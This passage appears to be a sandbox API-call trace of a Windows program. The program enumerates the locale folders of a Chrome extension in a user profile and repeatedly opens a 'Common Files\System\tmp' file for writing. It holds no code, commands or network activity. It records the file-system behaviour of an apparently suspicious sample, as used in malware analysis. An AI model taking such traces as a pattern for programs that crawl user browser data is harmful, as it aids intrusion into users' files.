Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\da\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86aba9b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86aba9b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0143.541] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0143.541] GetLastError () returned 0x12 [0143.541] AreFileApisANSI () returned 1 [0143.541] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0143.541] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0143.541] GetFileType (hFile=0x128) returned 0x1 [0143.542] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\de\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a48590, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0143.588] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0143.588] GetLastError () returned 0x12 [0143.588] AreFileApisANSI () returned 1 [0143.589] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0143.589] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0143.589] GetFileType (hFile=0x128) returned 0x1 [0143.589] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\el\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6e6f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a6e6f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0143.634] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0143.635] GetLastError () returned 0x12 [0143.635] AreFileApisANSI () returned 1 [0143.635] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0143.635] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0143.635] GetFileType (hFile=0x128) returned 0x1 [0143.635] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\en\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86aba9b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86aba9b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0143.635] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0143.635] GetLastError () returned 0x12 [0143.635] AreFileApisANSI () returned 1 [0143.635] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0143.636] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0143.636] GetFileType (hFile=0x128) returned 0x1 [0143.636] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\es\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a48590, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0143.636] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0143.636] GetLastError () returned 0x12 [0143.636] AreFileApisANSI () returned 1 [0143.636] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0143.636] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0143.636] GetFileType (hFile=0x128) returned 0x1 [0143.636] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fi\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6e6f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a6e6f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0143.681] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0143.681] GetLastError () returned 0x12 [0143.681] AreFileApisANSI () returned 1 [0143.681] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0143.681] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0143.681] GetFileType (hFile=0x128) returned 0x1 [0143.682] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fil\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a94850, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0143.728] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0143.728] GetLastError () returned 0x12 [0143.728] AreFileApisANSI () returned 1 [0143.728] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0143.728] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0143.728] GetFileType (hFile=0x128) returned 0x1 [0143.728] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fr\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a48590, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdb, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0143.729] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0143.729] GetLastError () returned 0x12 [0143.729] AreFileApisANSI () returned 1 [0143.729] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0143.729] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0143.729] GetFileType (hFile=0x128) returned 0x1 [0143.729] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hi\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869b0010, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a22430, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a22430, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdb, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0143.729] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0143.730] GetLastError () returned 0x12 [0143.730] AreFileApisANSI () returned 1 [0143.730] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0143.730] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0143.730] GetFileType (hFile=0x128) returned 0x1 [0143.730] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hr\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6e6f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a6e6f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdb, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0143.730] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0143.730] GetLastError () returned 0x12 [0143.730] AreFileApisANSI () returned 1 [0143.730] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0143.730] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0143.730] GetFileType (hFile=0x128) returned 0x1 [0143.731] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hu\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a48590, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdb, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0143.731] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0143.731] GetLastError () returned 0x12 [0143.731] AreFileApisANSI () returned 1 [0143.731] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0143.731] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0143.731] GetFileType (hFile=0x128) returned 0x1 [0143.732] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\id\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86aba9b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86aba9b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdb, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0143.732] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0143.732] GetLastError () returned 0x12 [0143.732] AreFileApisANSI () returned 1 [0143.732] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0143.732] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0143.732] GetFileType (hFile=0x128) returned 0x1 [0143.732] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\it\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86aba9b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86aba9b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdb, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0143.775] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0143.775] GetLastError () returned 0x12 [0143.775] AreFileApisANSI () returned 1 [0143.775] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0143.775] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0143.775] GetFileType (hFile=0x128) returned 0x1 [0143.775] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ja\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86aba9b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86aba9b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdb, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0143.775] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0143.776] GetLastError () returned 0x12 [0143.776] AreFileApisANSI () returned 1 [0143.776] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0143.776] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0143.776] GetFileType (hFile=0x128) returned 0x1 [0143.776] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ko\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6e6f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a6e6f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdb, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0143.776] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0143.776] GetLastError () returned 0x12 [0143.776] AreFileApisANSI () returned 1 [0143.776] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0143.776] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0143.777] GetFileType (hFile=0x128) returned 0x1 [0143.777] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lt\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a94850, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdb, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0143.777] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0143.777] GetLastError () returned 0x12 [0143.777] AreFileApisANSI () returned 1 [0143.777] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0143.777] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0143.777] GetFileType (hFile=0x128) returned 0x1 [0143.777] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a94850, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdb, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0143.778] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0143.778] GetLastError () returned 0x12 [0143.778] AreFileApisANSI () returned 1 [0143.778] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0143.778] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0143.778] GetFileType (hFile=0x128) returned 0x1 [0143.778] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\nl\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a48590, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdb, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0143.778] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0143.779] GetLastError () returned 0x12 [0143.779] AreFileApisANSI () returned 1 [0143.779] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0143.779] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, 